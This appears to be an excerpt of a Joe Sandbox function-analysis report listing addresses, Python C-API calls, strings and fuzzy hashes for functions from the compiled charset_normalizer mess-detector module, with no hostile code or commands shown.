Function 00007FF810C481A0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C481CA

Strings

charset_normalizer.md.ArchaicUpperLowerPlugin, xrefs: 00007FF810C482B7
interpreted classes cannot inherit from compiled, xrefs: 00007FF810C481C0
__init__, xrefs: 00007FF810C48205, 00007FF810C482CA

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.ArchaicUpperLowerPlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-353558827
Opcode ID: 99748731dd1c30137fed83de9c8196a25a72ca322aa86eacae57fb36958b271e
Instruction ID: 27bd5959d78b30a07c639f6c5b982fd07247aedccb3b86842a5ebe0573f097ac
Opcode Fuzzy Hash: 99748731dd1c30137fed83de9c8196a25a72ca322aa86eacae57fb36958b271e
Instruction Fuzzy Hash: 57316D35A08E4285EB50CF29E85436937A0FF68BE8F544235CA8D87355EF7DE485CB40

Function 00007FF810C44BF0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C44C1A

Strings

charset_normalizer.md.TooManySymbolOrPunctuationPlugin, xrefs: 00007FF810C44CEF
interpreted classes cannot inherit from compiled, xrefs: 00007FF810C44C10
__init__, xrefs: 00007FF810C44C59, 00007FF810C44D02

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.TooManySymbolOrPunctuationPlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-3280324660
Opcode ID: 6e89bdbc53c2373b1f76f387cf357dcf82aa0764ea81318d8d89e414b7565ba1
Instruction ID: 7b07c1cfed71ed7df044003215ecd66a028b57de1ba04a32f683a66a943ee813
Opcode Fuzzy Hash: 6e89bdbc53c2373b1f76f387cf357dcf82aa0764ea81318d8d89e414b7565ba1
Instruction Fuzzy Hash: 39312835A09E4285EB408F29E85036973A4FF68BE8F684635CA8D87754DF7DE491CB40

Function 00007FF810C45FA0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C45FCA

Strings

charset_normalizer.md.SuspiciousDuplicateAccentPlugin, xrefs: 00007FF810C4608B
interpreted classes cannot inherit from compiled, xrefs: 00007FF810C45FC0
__init__, xrefs: 00007FF810C46009, 00007FF810C4609E

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.SuspiciousDuplicateAccentPlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-1506521901
Opcode ID: d6b389ecc15bab3ab49117e1dfcec404c03b66428a268b3e657a6cd0ff099b39
Instruction ID: a5ad7944d8676c7cad2fa53b954004dc8dab2c4995890d072b98c93d9daa20e4
Opcode Fuzzy Hash: d6b389ecc15bab3ab49117e1dfcec404c03b66428a268b3e657a6cd0ff099b39
Instruction Fuzzy Hash: 93312635B19E0285EB008F29EC5026973A0FF68BE8F544631DA8D87368EF3DE551CB40

Function 00007FF810C46700 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C4672A

Strings

charset_normalizer.md.SuspiciousRange, xrefs: 00007FF810C467EB
interpreted classes cannot inherit from compiled, xrefs: 00007FF810C46720
__init__, xrefs: 00007FF810C46769, 00007FF810C467FE

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.SuspiciousRange$interpreted classes cannot inherit from compiled
API String ID: 1450464846-880397153
Opcode ID: 3157eab3757f30ec1ee9d56d87cc0b74ce8c9ce96d445f0ba80dfd9ed8f710c7
Instruction ID: df623d5b495ea29c7fffa206b8a2a1288a387bbcc3cdf76e675fd5f520dace60
Opcode Fuzzy Hash: 3157eab3757f30ec1ee9d56d87cc0b74ce8c9ce96d445f0ba80dfd9ed8f710c7
Instruction Fuzzy Hash: EF312939B09E0285EB448F29EC5026973A0FF68BE8F544631DA8D87768EF3DE551CB40

Function 00007FF810C45B80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C45BAA

Strings

charset_normalizer.md.UnprintablePlugin, xrefs: 00007FF810C45C57
interpreted classes cannot inherit from compiled, xrefs: 00007FF810C45BA0
__init__, xrefs: 00007FF810C45BE9, 00007FF810C45C6A

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.UnprintablePlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-116036081
Opcode ID: 2b378cdd7dcb9366be1b3b19e322ad34e89984ffb2050b23187af03f5545bfc9
Instruction ID: a9b8f1b9b6126809e427dc43f4667e82cfb58d19485ed125cb71c7e1734f4ec2
Opcode Fuzzy Hash: 2b378cdd7dcb9366be1b3b19e322ad34e89984ffb2050b23187af03f5545bfc9
Instruction Fuzzy Hash: B5313A35B09E0285EB008B29EC5026973A0FF68BE8F544631DA8D87765EF7DE551CB40

Function 00007FF810C47D80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C47DAA

Strings

interpreted classes cannot inherit from compiled, xrefs: 00007FF810C47DA0
__init__, xrefs: 00007FF810C47DE9, 00007FF810C47E6A
charset_normalizer.md.CjkInvalidStopPlugin, xrefs: 00007FF810C47E57

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.CjkInvalidStopPlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-2610960353
Opcode ID: 68af185f06048840a6b671ce21bfe3416dca8bce7346806d300283e0e5f91cb0
Instruction ID: 8704f7436b38f5164f64af78b1e8609a6c2432f655e399efe091ca06842df238
Opcode Fuzzy Hash: 68af185f06048840a6b671ce21bfe3416dca8bce7346806d300283e0e5f91cb0
Instruction Fuzzy Hash: 4E315A35B08E0285EB008F29EC102A973A0FF68BE8F444631DA8D8B764EF7DE551CB40

Function 00007FF810C455B0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C455DA

Strings

interpreted classes cannot inherit from compiled, xrefs: 00007FF810C455D0
__init__, xrefs: 00007FF810C45619, 00007FF810C4569A
charset_normalizer.md.TooManyAccentuatedPlugin, xrefs: 00007FF810C45687

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.TooManyAccentuatedPlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-2999409259
Opcode ID: 538d2c950ca88a2840fc5ef9a46118d25f8b91581ba96c68bf8716fe353fc822
Instruction ID: 7a5f05e27c8b72610d319d4cc4ce09970e5a4f8604360d6cee6952b34765e15e
Opcode Fuzzy Hash: 538d2c950ca88a2840fc5ef9a46118d25f8b91581ba96c68bf8716fe353fc822
Instruction Fuzzy Hash: B7313E39B19E0285EB408B25EC102A973A0FFA8BD8F544631DE8D87765EF7DE551CB40

Function 00007FF810C48DB0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C48DDA

Strings

interpreted classes cannot inherit from compiled, xrefs: 00007FF810C48DD0
__init__, xrefs: 00007FF810C48E19, 00007FF810C48E9A
charset_normalizer.md.ArabicIsolatedFormPlugin, xrefs: 00007FF810C48E87

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.ArabicIsolatedFormPlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-1141011871
Opcode ID: f0b706308453212fa065d5423f9c7618d6bfee54e65993784bb568e0e59a5108
Instruction ID: a0327ceca9d3ce692f473b8982bab9619f1a1b7e98d45e41fd9dbe2f08edec8e
Opcode Fuzzy Hash: f0b706308453212fa065d5423f9c7618d6bfee54e65993784bb568e0e59a5108
Instruction Fuzzy Hash: F1313A39B19E4281EB408B25EC5026A73A0FFA8BE8F544631DE8D87764EF3DE555CB40

Function 00007FF810C494F0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON313 ref: 00007FF810C49539

Strings

str, xrefs: 00007FF810C49593
charset_normalizer.md.MessDetectorPlugin, xrefs: 00007FF810C49546
eligible, xrefs: 00007FF810C495A6

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: SubtypeType_
String ID: charset_normalizer.md.MessDetectorPlugin$eligible$str
API String ID: 2891779845-1291782451
Opcode ID: d7f235445e3e09c4377256c316cab9e90316a4fdfb4ce572f86e14932b1e8bc8
Instruction ID: 41bcefb8629ace68059697e9b00d943077d12c49fc1f8db43b618324eec38456
Opcode Fuzzy Hash: d7f235445e3e09c4377256c316cab9e90316a4fdfb4ce572f86e14932b1e8bc8
Instruction Fuzzy Hash: BD117C65B08E1681EB558B15EC512B563A1FFA5BE0F848635DD4E8B3A0DE2CE481CB00

Function 00007FF810C465F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C46616
_Py_Dealloc.PYTHON313 ref: 00007FF810C46640

Strings

'SuspiciousDuplicateAccentPlugin' object attribute '_last_latin_character' cannot be deleted, xrefs: 00007FF810C4660C
str or None, xrefs: 00007FF810C4668E

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocErr_String
String ID: 'SuspiciousDuplicateAccentPlugin' object attribute '_last_latin_character' cannot be deleted$str or None
API String ID: 1259552197-4111674009
Opcode ID: ba092158e03a8b3fe91a99beeb130d66647decd37dcb550b60652ae949eb0837
Instruction ID: d7a3c5ef13efb379328052ec92b1fc23d9c78b71f9f3d625c0cb78a5ac3a0e70
Opcode Fuzzy Hash: ba092158e03a8b3fe91a99beeb130d66647decd37dcb550b60652ae949eb0837
Instruction Fuzzy Hash: 16114275B04E0181EF548B29ED902797260FF58BF4F494331EA5D8B794DE3CE4908B00

Function 00007FF810C46B40 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C46B66
_Py_Dealloc.PYTHON313 ref: 00007FF810C46B90

Strings

'SuspiciousRange' object attribute '_last_printable_seen' cannot be deleted, xrefs: 00007FF810C46B5C
str or None, xrefs: 00007FF810C46BDE

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocErr_String
String ID: 'SuspiciousRange' object attribute '_last_printable_seen' cannot be deleted$str or None
API String ID: 1259552197-1971554219
Opcode ID: f77508b8c1247d8ad7bc2a4588e5e7ac79a3cdd9ce59838306cccf04059a1d06
Instruction ID: bf4ff3f69fd87224f164b626271e01b59a89980576c7bb3279ce01399017fb87
Opcode Fuzzy Hash: f77508b8c1247d8ad7bc2a4588e5e7ac79a3cdd9ce59838306cccf04059a1d06
Instruction Fuzzy Hash: F2114F75B08E0582EF558B29ED9027932A0FF58BF4F484235DA5ECB794DE2CE4949B00

Function 00007FF810C45410 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C45436
_Py_Dealloc.PYTHON313 ref: 00007FF810C45460

Strings

'TooManySymbolOrPunctuationPlugin' object attribute '_last_printable_char' cannot be deleted, xrefs: 00007FF810C4542C
str or None, xrefs: 00007FF810C454AE

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocErr_String
String ID: 'TooManySymbolOrPunctuationPlugin' object attribute '_last_printable_char' cannot be deleted$str or None
API String ID: 1259552197-2331204894
Opcode ID: d771f1c5020a19132cbe65630436e4cbd0641d0517aba4c7c03fdad3466f4ff2
Instruction ID: 3749238a98979a67f9d99c2afe95621298879208c9868234545516de449ec4a4
Opcode Fuzzy Hash: d771f1c5020a19132cbe65630436e4cbd0641d0517aba4c7c03fdad3466f4ff2
Instruction Fuzzy Hash: C1111275B14E0582EF558B29ED502793360FF68BF5F485331DA5E8BB95DE2CE4908B00

Function 00007FF810C48C10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C48C36
_Py_Dealloc.PYTHON313 ref: 00007FF810C48C60

Strings

'ArchaicUpperLowerPlugin' object attribute '_last_alpha_seen' cannot be deleted, xrefs: 00007FF810C48C2C
str or None, xrefs: 00007FF810C48CAE

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocErr_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_last_alpha_seen' cannot be deleted$str or None
API String ID: 1259552197-1607602726
Opcode ID: 7789c2166760f4bbc0b38879df6bbc90faea1ed88e1ec73e45559335b10bce7e
Instruction ID: 1c62993367a40a35de436a3753b33ad31582dac4a452fc491025ae299c411ffc
Opcode Fuzzy Hash: 7789c2166760f4bbc0b38879df6bbc90faea1ed88e1ec73e45559335b10bce7e
Instruction Fuzzy Hash: 43114F75B09E0182EF548B29ED9027A3260FF58BF4F484331DA5E8B794DE2CE494CB10

Function 00007FF810C47A10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C47A36
_Py_Dealloc.PYTHON313 ref: 00007FF810C47A60

Strings

str, xrefs: 00007FF810C47A79
'SuperWeirdWordPlugin' object attribute '_buffer' cannot be deleted, xrefs: 00007FF810C47A2C

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocErr_String
String ID: 'SuperWeirdWordPlugin' object attribute '_buffer' cannot be deleted$str
API String ID: 1259552197-1393815803
Opcode ID: 252fa0f8fba3c39caf8158fbdf1c92eccfacd513fef730eeddc2691a0c0ad2f8
Instruction ID: fe7cbb5ec66d5828be03dbfa2813a0f9546811e5a1724259655ce9181b89b0d7
Opcode Fuzzy Hash: 252fa0f8fba3c39caf8158fbdf1c92eccfacd513fef730eeddc2691a0c0ad2f8
Instruction Fuzzy Hash: 94117376B08D4286EB558F29EC8022D7360FF54BF4F189331DA5D8B795DE2CE5909B00

Function 00007FF810C4BB90 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

PyObject_VectorcallMethod.PYTHON313 ref: 00007FF810C4BBB8
_Py_Dealloc.PYTHON313 ref: 00007FF810C4BC00

Part of subcall function 00007FF810C43880: PyErr_Format.PYTHON313 ref: 00007FF810C438B4

Strings

bool, xrefs: 00007FF810C4BBD6
eligible, xrefs: 00007FF810C4BC13

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocErr_FormatMethodObject_Vectorcall
String ID: bool$eligible
API String ID: 2503426208-3320767611
Opcode ID: 8fa6b34868cc6a47c754b3f8b67dd8d99cd2dc8abc6ea1986033f140f820bbe6
Instruction ID: 5fc43e82e4a815040b4c7fd819e3bcfc730d5482b2d5e007ab6d445441412654
Opcode Fuzzy Hash: 8fa6b34868cc6a47c754b3f8b67dd8d99cd2dc8abc6ea1986033f140f820bbe6
Instruction Fuzzy Hash: 2C113325B19E4281EB548F11FC957B97360FF647E4F485235D98E8A7A5DE2CE480CF10

Function 00007FF810C49950 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

PyObject_VectorcallMethod.PYTHON313 ref: 00007FF810C49978
_Py_Dealloc.PYTHON313 ref: 00007FF810C499C0

Part of subcall function 00007FF810C43880: PyErr_Format.PYTHON313 ref: 00007FF810C438B4

Strings

bool, xrefs: 00007FF810C49996
eligible, xrefs: 00007FF810C499D3

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocErr_FormatMethodObject_Vectorcall
String ID: bool$eligible
API String ID: 2503426208-3320767611
Opcode ID: 0d8875ff12f039435975ffb6e326a25547cb4db15a3b8545069a5822d3261db4
Instruction ID: 852450ff571fa283b4794d9c60b6a0c6908a99d69d3f20c709dc6f12c525c041
Opcode Fuzzy Hash: 0d8875ff12f039435975ffb6e326a25547cb4db15a3b8545069a5822d3261db4
Instruction Fuzzy Hash: 4A113025B18E4381EB548B11FC953B977A0FFA47E4F485235D98E8A7A5DE2CE480CF50

Function 00007FF810C4A330 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

PyObject_VectorcallMethod.PYTHON313 ref: 00007FF810C4A358
_Py_Dealloc.PYTHON313 ref: 00007FF810C4A3A0

Part of subcall function 00007FF810C43880: PyErr_Format.PYTHON313 ref: 00007FF810C438B4

Strings

bool, xrefs: 00007FF810C4A376
eligible, xrefs: 00007FF810C4A3B3

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocErr_FormatMethodObject_Vectorcall
String ID: bool$eligible
API String ID: 2503426208-3320767611
Opcode ID: 54d11c10dbf3ac1ae6cb4e598916b970e353a434c83b297c39257fe1f5f51022
Instruction ID: deda33d0b677edccbf5e006215077b7cd7b0628623620e705a64fb7df68d83ee
Opcode Fuzzy Hash: 54d11c10dbf3ac1ae6cb4e598916b970e353a434c83b297c39257fe1f5f51022
Instruction Fuzzy Hash: C8117325B18E0281EB548F15FC547B973A0FFA47E4F449135D98E8A7A5EE2CE480CF00

Function 00007FF810C531F5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON313 ref: 00007FF810C53214
_Py_Dealloc.PYTHON313 ref: 00007FF810C53232
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C5324C

Strings

<module>, xrefs: 00007FF810C53EFB

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
